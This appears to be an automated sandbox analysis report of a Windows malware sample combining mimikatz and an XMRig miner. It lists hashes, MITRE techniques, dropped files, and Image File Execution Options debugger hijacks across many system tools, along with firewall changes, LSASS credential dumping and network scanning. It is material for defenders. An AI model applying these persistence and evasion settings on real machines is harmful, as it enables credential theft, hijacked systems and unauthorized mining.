mimikatz | d3a7f3c59920f2e625456aae0dad1c0f1957a03adec72b6cbf63d1c04d4e5fc9

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
09-11-2024 04:39

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2024-11-09_c446e3c4086cb19a9618b5872a538509_hacktools_icedid_mimikatz.exe
Size

8.2MB
MD5

c446e3c4086cb19a9618b5872a538509
SHA1

5503cce13462f88ca008a80ddd35b9ae6097ce8b
SHA256

d3a7f3c59920f2e625456aae0dad1c0f1957a03adec72b6cbf63d1c04d4e5fc9
SHA512

df356655668e51e2b93907addee60a5362a8a32ed49d1ccf34ffd2ae8d93e4a73afdeb01fa881fe4f5bee292d9cd9896530e95dc8494c3d9b1fa4e21f3e65811
SSDEEP

98304:YmBtyYXmknGzZr+HdO5SEPFtmOZ9G1Md5v/nZVnivsAl0eXTBJYa5roSCaa:I6mknGzwHdOgEPHd9BbX/nivPlTXTYr

Score

10^/10

mimikatz xmrig credential_access discovery evasion execution miner persistence privilege_escalation upx

Malware Config

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz
Mimikatz family
mimikatz
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

zghnuwi.exe

description pid process target process

PID 2800 created 1468 2800 zghnuwi.exe spoolsv.exe
Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Contacts a large (20509) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
credential_access

LSASS Memory
T1003.001

description	pid	process	target process
PID 2800 created 1468	2800	zghnuwi.exe	spoolsv.exe

XMRig Miner payload 10 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/3852-176-0x00007FF6B4FF0000-0x00007FF6B5110000-memory.dmp	xmrig
behavioral2/memory/3852-181-0x00007FF6B4FF0000-0x00007FF6B5110000-memory.dmp	xmrig
behavioral2/memory/3852-202-0x00007FF6B4FF0000-0x00007FF6B5110000-memory.dmp	xmrig
behavioral2/memory/3852-215-0x00007FF6B4FF0000-0x00007FF6B5110000-memory.dmp	xmrig
behavioral2/memory/3852-220-0x00007FF6B4FF0000-0x00007FF6B5110000-memory.dmp	xmrig
behavioral2/memory/3852-233-0x00007FF6B4FF0000-0x00007FF6B5110000-memory.dmp	xmrig
behavioral2/memory/3852-249-0x00007FF6B4FF0000-0x00007FF6B5110000-memory.dmp	xmrig
behavioral2/memory/3852-256-0x00007FF6B4FF0000-0x00007FF6B5110000-memory.dmp	xmrig
behavioral2/memory/3852-268-0x00007FF6B4FF0000-0x00007FF6B5110000-memory.dmp	xmrig
behavioral2/memory/3852-377-0x00007FF6B4FF0000-0x00007FF6B5110000-memory.dmp	xmrig

mimikatz is an open source tool to dump credentials on Windows 5 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1940-0-0x0000000000400000-0x0000000000AA4000-memory.dmp	mimikatz
behavioral2/memory/1940-4-0x0000000000400000-0x0000000000AA4000-memory.dmp	mimikatz
C:\Windows\uqrutnuy\zghnuwi.exe	mimikatz
behavioral2/memory/1452-8-0x0000000000400000-0x0000000000AA4000-memory.dmp	mimikatz
behavioral2/memory/4760-137-0x00007FF713CC0000-0x00007FF713DAE000-memory.dmp	mimikatz

Drops file in Drivers directory 2 IoCs

Processes:

wpcap.exezghnuwi.exe

description	ioc	process
File created	C:\Windows\system32\drivers\npf.sys	wpcap.exe
File opened for modification	C:\Windows\system32\drivers\etc\hosts	zghnuwi.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs

persistence

Image File Execution Options Injection

T1546.012

Processes:

zghnuwi.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zghnuwi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	zghnuwi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe	zghnuwi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe	zghnuwi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zghnuwi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe	zghnuwi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe	zghnuwi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe	zghnuwi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zghnuwi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zghnuwi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zghnuwi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zghnuwi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe	zghnuwi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zghnuwi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zghnuwi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe	zghnuwi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe	zghnuwi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	zghnuwi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zghnuwi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe	zghnuwi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zghnuwi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe	zghnuwi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zghnuwi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe	zghnuwi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zghnuwi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zghnuwi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe	zghnuwi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe	zghnuwi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zghnuwi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zghnuwi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zghnuwi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	zghnuwi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zghnuwi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe	zghnuwi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zghnuwi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	zghnuwi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zghnuwi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zghnuwi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe	zghnuwi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe	zghnuwi.exe

Modifies Windows Firewall 2 TTPs 2 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exenetsh.exe

pid process

4028 netsh.exe
1084 netsh.exe

pid	process
4028	netsh.exe
1084	netsh.exe

Executes dropped EXE 29 IoCs

Processes:

zghnuwi.exezghnuwi.exewpcap.exeigadlieeu.exevfshost.exeeqelmsiua.exexohudmc.exegykgue.exeindtey.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exezghnuwi.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exeeqelmsiua.exehqnaebagm.exezghnuwi.exe

pid	process
1452	zghnuwi.exe
2800	zghnuwi.exe
1896	wpcap.exe
2008	igadlieeu.exe
4760	vfshost.exe
2228	eqelmsiua.exe
4456	xohudmc.exe
764	gykgue.exe
3852	indtey.exe
5012	eqelmsiua.exe
4364	eqelmsiua.exe
1528	eqelmsiua.exe
920	eqelmsiua.exe
3168	eqelmsiua.exe
4988	eqelmsiua.exe
3940	eqelmsiua.exe
3228	zghnuwi.exe
3944	eqelmsiua.exe
4548	eqelmsiua.exe
4360	eqelmsiua.exe
2948	eqelmsiua.exe
2816	eqelmsiua.exe
2040	eqelmsiua.exe
2656	eqelmsiua.exe
4672	eqelmsiua.exe
2696	eqelmsiua.exe
4004	eqelmsiua.exe
4228	hqnaebagm.exe
5780	zghnuwi.exe

Loads dropped DLL 12 IoCs

Processes:

wpcap.exeigadlieeu.exe

pid	process
1896	wpcap.exe
1896	wpcap.exe
1896	wpcap.exe
1896	wpcap.exe
1896	wpcap.exe
1896	wpcap.exe
1896	wpcap.exe
1896	wpcap.exe
1896	wpcap.exe
2008	igadlieeu.exe
2008	igadlieeu.exe
2008	igadlieeu.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

69 ifconfig.me
70 ifconfig.me
Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Creates a Windows Service
persistence

flow	ioc
69	ifconfig.me
70	ifconfig.me

Drops file in System32 directory 18 IoCs

Processes:

zghnuwi.exewpcap.exexohudmc.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	zghnuwi.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	zghnuwi.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	zghnuwi.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	zghnuwi.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	zghnuwi.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\BB4F4B8E2B2CFC476849B6B724C153FF	zghnuwi.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	zghnuwi.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	zghnuwi.exe
File created	C:\Windows\SysWOW64\pthreadVC.dll	wpcap.exe
File created	C:\Windows\SysWOW64\wpcap.dll	wpcap.exe
File created	C:\Windows\system32\wpcap.dll	wpcap.exe
File created	C:\Windows\system32\Packet.dll	wpcap.exe
File created	C:\Windows\SysWOW64\gykgue.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\gykgue.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\BB4F4B8E2B2CFC476849B6B724C153FF	zghnuwi.exe
File created	C:\Windows\SysWOW64\Packet.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	zghnuwi.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	zghnuwi.exe

UPX packed file 35 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Windows\bliinatya\Corporate\vfshost.exe	upx
behavioral2/memory/4760-136-0x00007FF713CC0000-0x00007FF713DAE000-memory.dmp	upx
behavioral2/memory/4760-137-0x00007FF713CC0000-0x00007FF713DAE000-memory.dmp	upx
behavioral2/memory/2228-141-0x00007FF797F90000-0x00007FF797FEB000-memory.dmp	upx
C:\Windows\Temp\bliinatya\eqelmsiua.exe	upx
behavioral2/memory/2228-145-0x00007FF797F90000-0x00007FF797FEB000-memory.dmp	upx
C:\Windows\Temp\vuctsdlau\indtey.exe	upx
behavioral2/memory/3852-163-0x00007FF6B4FF0000-0x00007FF6B5110000-memory.dmp	upx
behavioral2/memory/5012-170-0x00007FF797F90000-0x00007FF797FEB000-memory.dmp	upx
behavioral2/memory/4364-174-0x00007FF797F90000-0x00007FF797FEB000-memory.dmp	upx
behavioral2/memory/3852-176-0x00007FF6B4FF0000-0x00007FF6B5110000-memory.dmp	upx
behavioral2/memory/1528-179-0x00007FF797F90000-0x00007FF797FEB000-memory.dmp	upx
behavioral2/memory/3852-181-0x00007FF6B4FF0000-0x00007FF6B5110000-memory.dmp	upx
behavioral2/memory/920-184-0x00007FF797F90000-0x00007FF797FEB000-memory.dmp	upx
behavioral2/memory/3168-188-0x00007FF797F90000-0x00007FF797FEB000-memory.dmp	upx
behavioral2/memory/4988-192-0x00007FF797F90000-0x00007FF797FEB000-memory.dmp	upx
behavioral2/memory/3940-196-0x00007FF797F90000-0x00007FF797FEB000-memory.dmp	upx
behavioral2/memory/3852-202-0x00007FF6B4FF0000-0x00007FF6B5110000-memory.dmp	upx
behavioral2/memory/3944-205-0x00007FF797F90000-0x00007FF797FEB000-memory.dmp	upx
behavioral2/memory/4548-209-0x00007FF797F90000-0x00007FF797FEB000-memory.dmp	upx
behavioral2/memory/4360-213-0x00007FF797F90000-0x00007FF797FEB000-memory.dmp	upx
behavioral2/memory/3852-215-0x00007FF6B4FF0000-0x00007FF6B5110000-memory.dmp	upx
behavioral2/memory/2948-218-0x00007FF797F90000-0x00007FF797FEB000-memory.dmp	upx
behavioral2/memory/3852-220-0x00007FF6B4FF0000-0x00007FF6B5110000-memory.dmp	upx
behavioral2/memory/2816-223-0x00007FF797F90000-0x00007FF797FEB000-memory.dmp	upx
behavioral2/memory/2040-227-0x00007FF797F90000-0x00007FF797FEB000-memory.dmp	upx
behavioral2/memory/2656-230-0x00007FF797F90000-0x00007FF797FEB000-memory.dmp	upx
behavioral2/memory/4672-232-0x00007FF797F90000-0x00007FF797FEB000-memory.dmp	upx
behavioral2/memory/3852-233-0x00007FF6B4FF0000-0x00007FF6B5110000-memory.dmp	upx
behavioral2/memory/2696-235-0x00007FF797F90000-0x00007FF797FEB000-memory.dmp	upx
behavioral2/memory/4004-237-0x00007FF797F90000-0x00007FF797FEB000-memory.dmp	upx
behavioral2/memory/3852-249-0x00007FF6B4FF0000-0x00007FF6B5110000-memory.dmp	upx
behavioral2/memory/3852-256-0x00007FF6B4FF0000-0x00007FF6B5110000-memory.dmp	upx
behavioral2/memory/3852-268-0x00007FF6B4FF0000-0x00007FF6B5110000-memory.dmp	upx
behavioral2/memory/3852-377-0x00007FF6B4FF0000-0x00007FF6B5110000-memory.dmp	upx

Drops file in Program Files directory 3 IoCs

Processes:

wpcap.exe

description	ioc	process
File created	C:\Program Files\WinPcap\rpcapd.exe	wpcap.exe
File created	C:\Program Files\WinPcap\LICENSE	wpcap.exe
File created	C:\Program Files\WinPcap\uninstall.exe	wpcap.exe

Drops file in Windows directory 60 IoCs

Processes:

zghnuwi.execmd.exe2024-11-09_c446e3c4086cb19a9618b5872a538509_hacktools_icedid_mimikatz.exehqnaebagm.exe

description	ioc	process
File created	C:\Windows\uqrutnuy\svschost.xml	zghnuwi.exe
File created	C:\Windows\uqrutnuy\docmicfg.xml	zghnuwi.exe
File opened for modification	C:\Windows\uqrutnuy\svschost.xml	zghnuwi.exe
File created	C:\Windows\bliinatya\Corporate\mimidrv.sys	zghnuwi.exe
File created	C:\Windows\ime\zghnuwi.exe	zghnuwi.exe
File created	C:\Windows\bliinatya\rtbnheisb\ip.txt	zghnuwi.exe
File created	C:\Windows\bliinatya\UnattendGC\specials\vimpcsvc.exe	zghnuwi.exe
File created	C:\Windows\bliinatya\UnattendGC\docmicfg.xml	zghnuwi.exe
File created	C:\Windows\uqrutnuy\vimpcsvc.xml	zghnuwi.exe
File created	C:\Windows\bliinatya\UnattendGC\AppCapture64.dll	zghnuwi.exe
File opened for modification	C:\Windows\bliinatya\Corporate\log.txt	cmd.exe
File created	C:\Windows\bliinatya\UnattendGC\specials\cnli-1.dll	zghnuwi.exe
File created	C:\Windows\bliinatya\UnattendGC\specials\vimpcsvc.xml	zghnuwi.exe
File created	C:\Windows\bliinatya\UnattendGC\specials\libeay32.dll	zghnuwi.exe
File created	C:\Windows\bliinatya\UnattendGC\specials\xdvl-0.dll	zghnuwi.exe
File created	C:\Windows\bliinatya\rtbnheisb\igadlieeu.exe	zghnuwi.exe
File created	C:\Windows\bliinatya\UnattendGC\specials\coli-0.dll	zghnuwi.exe
File created	C:\Windows\bliinatya\UnattendGC\specials\docmicfg.exe	zghnuwi.exe
File created	C:\Windows\bliinatya\UnattendGC\AppCapture32.dll	zghnuwi.exe
File created	C:\Windows\bliinatya\rtbnheisb\hqnaebagm.exe	zghnuwi.exe
File created	C:\Windows\bliinatya\UnattendGC\specials\crli-0.dll	zghnuwi.exe
File created	C:\Windows\bliinatya\UnattendGC\specials\trch-1.dll	zghnuwi.exe
File opened for modification	C:\Windows\uqrutnuy\docmicfg.xml	zghnuwi.exe
File created	C:\Windows\bliinatya\UnattendGC\specials\schoedcl.exe	zghnuwi.exe
File created	C:\Windows\uqrutnuy\schoedcl.xml	zghnuwi.exe
File created	C:\Windows\bliinatya\upbdrjv\swrpwe.exe	zghnuwi.exe
File created	C:\Windows\bliinatya\rtbnheisb\wpcap.dll	zghnuwi.exe
File created	C:\Windows\bliinatya\UnattendGC\specials\libxml2.dll	zghnuwi.exe
File opened for modification	C:\Windows\uqrutnuy\zghnuwi.exe	2024-11-09_c446e3c4086cb19a9618b5872a538509_hacktools_icedid_mimikatz.exe
File opened for modification	C:\Windows\bliinatya\rtbnheisb\Result.txt	hqnaebagm.exe
File created	C:\Windows\bliinatya\UnattendGC\specials\spoolsrv.xml	zghnuwi.exe
File created	C:\Windows\bliinatya\UnattendGC\specials\docmicfg.xml	zghnuwi.exe
File created	C:\Windows\bliinatya\UnattendGC\specials\schoedcl.xml	zghnuwi.exe
File created	C:\Windows\bliinatya\UnattendGC\Shellcode.ini	zghnuwi.exe
File created	C:\Windows\bliinatya\UnattendGC\specials\spoolsrv.exe	zghnuwi.exe
File created	C:\Windows\bliinatya\UnattendGC\schoedcl.xml	zghnuwi.exe
File created	C:\Windows\bliinatya\UnattendGC\specials\ssleay32.dll	zghnuwi.exe
File created	C:\Windows\bliinatya\Corporate\vfshost.exe	zghnuwi.exe
File created	C:\Windows\bliinatya\UnattendGC\svschost.xml	zghnuwi.exe
File opened for modification	C:\Windows\uqrutnuy\vimpcsvc.xml	zghnuwi.exe
File opened for modification	C:\Windows\bliinatya\rtbnheisb\Packet.dll	zghnuwi.exe
File created	C:\Windows\bliinatya\UnattendGC\specials\zlib1.dll	zghnuwi.exe
File created	C:\Windows\uqrutnuy\zghnuwi.exe	2024-11-09_c446e3c4086cb19a9618b5872a538509_hacktools_icedid_mimikatz.exe
File created	C:\Windows\bliinatya\rtbnheisb\wpcap.exe	zghnuwi.exe
File created	C:\Windows\bliinatya\UnattendGC\specials\trfo-2.dll	zghnuwi.exe
File created	C:\Windows\bliinatya\UnattendGC\specials\tucl-1.dll	zghnuwi.exe
File created	C:\Windows\bliinatya\UnattendGC\specials\ucl.dll	zghnuwi.exe
File created	C:\Windows\uqrutnuy\spoolsrv.xml	zghnuwi.exe
File created	C:\Windows\bliinatya\Corporate\mimilib.dll	zghnuwi.exe
File created	C:\Windows\bliinatya\UnattendGC\specials\exma-1.dll	zghnuwi.exe
File created	C:\Windows\bliinatya\UnattendGC\specials\tibe-2.dll	zghnuwi.exe
File created	C:\Windows\bliinatya\rtbnheisb\scan.bat	zghnuwi.exe
File created	C:\Windows\bliinatya\UnattendGC\spoolsrv.xml	zghnuwi.exe
File opened for modification	C:\Windows\uqrutnuy\spoolsrv.xml	zghnuwi.exe
File created	C:\Windows\bliinatya\UnattendGC\specials\svschost.exe	zghnuwi.exe
File created	C:\Windows\bliinatya\UnattendGC\vimpcsvc.xml	zghnuwi.exe
File created	C:\Windows\bliinatya\UnattendGC\specials\svschost.xml	zghnuwi.exe
File opened for modification	C:\Windows\uqrutnuy\schoedcl.xml	zghnuwi.exe
File created	C:\Windows\bliinatya\rtbnheisb\Packet.dll	zghnuwi.exe
File created	C:\Windows\bliinatya\UnattendGC\specials\posh-0.dll	zghnuwi.exe

Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exe

pid process

1460 sc.exe
5048 sc.exe
1848 sc.exe
3312 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
1460	sc.exe
5048	sc.exe
1848	sc.exe
3312	sc.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

Processes:

netsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exe

description	ioc	process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
